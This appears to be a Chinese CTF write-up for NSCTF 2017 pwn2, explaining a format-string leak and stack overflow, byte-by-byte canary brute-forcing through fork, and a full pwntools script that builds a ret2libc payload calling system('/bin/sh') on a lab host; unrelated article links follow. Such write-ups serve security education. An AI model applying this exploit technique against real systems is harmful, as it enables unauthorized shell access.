程序基本信息

  1. 32位动态链接程序,开启了数据段不可执行以及栈溢出保护

程序漏洞

  1. 在函数中sub_80487fa中有一个格式化字符串漏洞和read函数栈溢出漏洞

整体思路

  1. 首先不用说,肯定得先想办法栈溢出,溢出函数我们已经找到,接下来的问题就是得泄露出canary的值,从而绕过栈溢出保护。我们当然可以通过格式化字符串漏洞泄露canary的值,也另外一种方法就是爆破获得canary的值。程序中有fork函数,通过fork函数打开的子进程因爆破失败结束了也不会影响父进程,借此我们可以不断调用子进程来爆破canary的值。获得canary的值后,因题目给了libc,我们只要随便泄露出库函数的地址,借此计算system与/bin/sh的地址,再通过rop技术,即可pwn掉程序。

exp脚本

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. context.update(os = 'linux', arch = 'amd64')
  5. io = remote('172.17.0.3', 10001)
  6. canary = '\x00' #canary最低字节必为\x00
  7. for i in xrange(3):
  8. for j in xrange(256):
  9. io.sendline('Y')
  10. io.recv()
  11. io.sendline('%5$p') #泄露栈上的libc地址
  12. io.recvuntil('game ')
  13. leak_libc_addr = int(io.recv(10), 16)
  14. io.recv()
  15. payload = 'A'*16 #构造payload爆破canary
  16. payload += canary
  17. payload += chr(j) #逐字节爆破canary
  18. io.send(payload)
  19. io.recv()
  20. if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
  21. canary += chr(j) #将正确字节拼接上
  22. log.info('At round %d find canary byte %#x' %(i, j))
  23. break
  24. log.info('Canary is %#x' %(u32(canary)))
  25. system_addr = leak_libc_addr - 0x1b6e00 + 0x3b060 #0x1b6e00和0x3b060分别为IO_2_1_stdin_距离libc头部偏移
  26. binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f #/bin/sh字符串距离libc头部偏移
  27. log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))
  28. payload = '' #构造payload执行system('/bin/sh')
  29. payload += 'A'*16
  30. payload += canary #将canary放在正确的位置
  31. payload += 'B'*12
  32. payload += p32(system_addr)
  33. payload += 'CCCC' #返回地址任填
  34. payload += p32(binsh_addr)
  35. io.sendline('Y') #[*] Do you love me?
  36. io.recv()
  37. io.sendline('1') #[*] Input Your name please: 随便一个输入
  38. io.recv()
  39. io.send(payload) #[*] Input Your Id: 漏洞产生点
  40. io.interactive()

发现的问题

  1. 原文中泄露的libc中的地址是_cxa_atexit+25,但是通过我比较发现,不同库同一函数的代码可能是不一样的

我电脑使用的libc的_cxa_atexit

题目给的libc

  1. 所以说我们在计算函数在内存中的偏移时,最好使用函数名或者全局变量(比如说上文使用的IO_2_1_stdin_

内容参考

Linux pwn入门教程(9)

NSCTF 2017-pwn2的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. CI Weekly #10 | 2017 DevOps 趋势预测

    2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...

  3. 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS

    一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...

  4. iOS的ATS配置 - 2017年前ATS规定的适配

    苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...

  5. 深入研究Visual studio 2017 RC新特性

    在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...

  6. Xamarin+Prism开发详解三:Visual studio 2017 RC初体验

    Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...

  7. Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo

    目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...

  8. Create an offline installation of Visual Studio 2017 RC

    Create an offline installation of Visual Studio 2017 RC ‎2016‎年‎12‎月‎7‎日                             ...

  9. .NET Core 2.0版本预计于2017年春季发布

    英文原文: NET Core 2.0 Planned for Spring 2017 微软项目经理 Immo Landwerth 公布了即将推出的 .NET Core 2.0 版本的细节,该版本预计于 ...

  10. 卡巴斯基2017激活教程_卡巴斯基2017用授权文件KEY激活的方法

    原创:天诺时空 更新时间:2016-11-09   2016年9月7日,卡巴斯基2017版全新上市,卡巴斯基依旧为大家奉上满足您所有需求的安全软件产品,为不同年龄层.不同人群给予全方位保护,同时延续卡 ...

随机推荐

  1. deploy KBA 2167993

    The default trace shows the following error: ****************************************** Unable to cr ...

  2. Eclipse workspace被锁定

    重新打开Eclipse时,提示如下: Workspace Unavailable: Workspace in use or cannot be created, choose a different ...

  3. 【MySql】牛客SQL刷题(上)

    牛客SQL题目 题目链接:https://www.nowcoder.com/ta/sql 查找最晚入职员工的所有信息 select * from employees where hire_date = ...

  4. [转]理解Linux的性能

    来源:http://www.linuxfly.org/post/114/ [转]理解Linux的性能       项目中常遇到需要对目前运行的系统进行效率分析,或碰到客户咨询如何优化系统的效率问题.更 ...

  5. base64码通过http传输 +号变 空格 以及 图片编码后字符串较长导致POST提交失败 问题解决

    场景:图片上传OSS存储,接口拿字符串去接前端传的base64码,服务器打印入参传的值,发现和前端打印的值有所区别,服务器中打印的值所有+号全部变成空格. 解决办法: Java中使用:url = ur ...

  6. Linux之virtualenv和virtualenvwrapper

    一,介绍 在使用 Python 开发的过程中,工程一多,难免会碰到不同的工程依赖不同版本的库的问题:亦或者是在开发过程中不想让物理环境里充斥各种各样的库,引发未来的依赖灾难.此时,我们需要对于不同的工 ...

  7. STM32复位及通过函数判断是何种条件出发的复位

    STM32F10xxx支持三种复位形式,分别为系统复位.上电复位和备份区域复位. 一.系统复位: 系统复位将复位所有寄存器至它们的复位状态. 当发生以下任一事件时,产生一个系统复位: 1. NRST引 ...

  8. Linux下Mysql服务安装【1】

    https://www.cnblogs.com/xiaxiaoxu/p/9978976.html 第一步:获取mysql8.0的yum源 进入mysql官网获取RPM包下载地址 https://dev ...

  9. nginx的应用【静态代理、动静分离】

    Nginx主要应用: 静态web服务器 负载均衡 静态代理虚拟主机 静态代理 :把所有静态资源的访问改为访问nginx,而不是访问tomcat,因为nginx更擅长于静态资源的处理,性能更好,效率更高 ...

  10. 使用BCP实用工具导出导入数据

    https://docs.microsoft.com/zh-cn/sql/tools/bcp-utility?view=sql-server-ver15 bcp 实用工具可以在 Microsoft S ...